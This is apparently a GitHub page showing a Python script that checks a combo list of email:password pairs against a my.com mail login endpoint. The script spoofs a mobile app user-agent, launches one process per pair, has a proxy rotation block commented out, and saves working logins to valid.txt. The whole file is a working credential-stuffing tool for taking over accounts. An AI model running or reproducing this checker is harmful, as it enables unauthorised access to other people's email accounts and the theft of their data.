-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathfaqMailAccess.py
74 lines (64 loc) · 2.31 KB
/
faqMailAccess.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from bs4 import BeautifulSoup
import re
import os
from colorama import Fore, Style, init
init()
from platform import system
import threading
from multiprocessing import Process
import random
import sys
import time
opend = open('combo.txt', 'r').readlines()
proxy = []
class faqMailAccess:
def __init__(self, email, password):
self.email = email
self.password = password
self.load_prx()
self.Checker()
def load_prx(self):
try:
with open('proxies.txt', 'r+', encoding='utf-8') as x1:
sx = x1.readlines()
for x in sx:
try:
line = x.split()[0].replace('\n', '')
proxy.append(line)
except:
pass
except:
print("Please Create A File Named: 'proxies.com'")
time.sleep(2)
sys.exit()
def Checker(self):
sess = requests.Session()
url = f"https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login={self.email}&Password={self.password}"
#proxys = random.choice(proxy)
#proxy_for_check = {'http': f'http://{proxys}', 'https': f'https://{proxys}'}
#sess.proxies = proxy_for_check
url = "https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login={}&Password={}".format(self.email, self.password)
headers = {
"User-Agent": "MyCom/12436 CFNetwork/758.2.8 Darwin/15.0.0"
}
f = sess.get(url, headers=headers)
#print(f.text)
if f.text == "Ok=1":
with open("valid.txt", "a+") as validf:
print(f"{Fore.GREEN}{self.email}:{self.password}")
validf.write(f"{self.email}:{self.password}\n")
else:
print(f"{Fore.RED}{self.email}:{self.password}")
return
if __name__ == '__main__':
with open("combo.txt", "r+", encoding='utf-8') as s:
sx = s.readlines()
processes = list()
for x in sx:
email, password = x.split(":")[0].replace('\n', ''), x.split(":")[1].replace('\n', '')
process = Process(target=faqMailAccess, args=(email,password))
process.start()
processes.append(process)
for process in processes:
process.join()